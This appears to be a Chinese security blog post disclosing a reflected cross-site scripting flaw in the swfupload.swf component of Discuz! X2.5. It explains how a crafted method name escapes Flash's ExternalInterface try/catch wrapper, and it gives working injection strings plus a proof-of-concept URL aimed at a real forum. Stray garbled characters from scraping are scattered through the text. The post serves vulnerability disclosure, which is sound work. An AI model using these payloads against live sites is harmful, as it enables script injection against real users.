Flash应用安全系列[2]--Discuz! X2.5反射型跨站

admin

上回我们说

3 H% n" q/ T" \+ x7 m6 W8 bflash.external.ExternalInterface.call($methodName, $parameter)
, f2 A6 v2 F9 B- c在浏览器中执行的是
( L4 d0 H% I+ \+ X+ N- f3 E; e
0 _2 T) N1 p. E: htry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
对于第一个传入的$methodName，flash player在输出js函数时是未经过任何编码的，上个例子里$methodName是全部可控的，但是我们知道了执行脚本的原理后，$methodName只需要部分可控，我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
$ R. `4 X3 U9 Y) H" }- C  v$ g
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
0 e( z& ]/ |8 }6 U$methodName = a())}catch(e){alert(/xss/)}//
结果是不存在object.a方法，跳到catch，执行我们构造的任意JS。
, {2 r' d% V! I1 @; S; S8 h" [
; S( b" m  `3 j5 _8 u( R" ctry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }

这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss，乌云上也有这个漏洞的分析（ WooYun: WordPress反射型XSS ）
杯具的是，Discuz! X2.5中采用了一个同样的一个swfupload模块，而且还是修复前的版本。


/ G/ N4 e0 t& U1 s! X3 c. n( ^
漏洞文件：upload\static\image\common\swfupload.swf

原始SWF下载：http://swfpoc.appspot.com/vul/discuz_swfupload.swf
8 D2 J5 ]& ?, s

漏洞证明：http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//

4 o. f( J: u* D2 r3 E9 ]/ S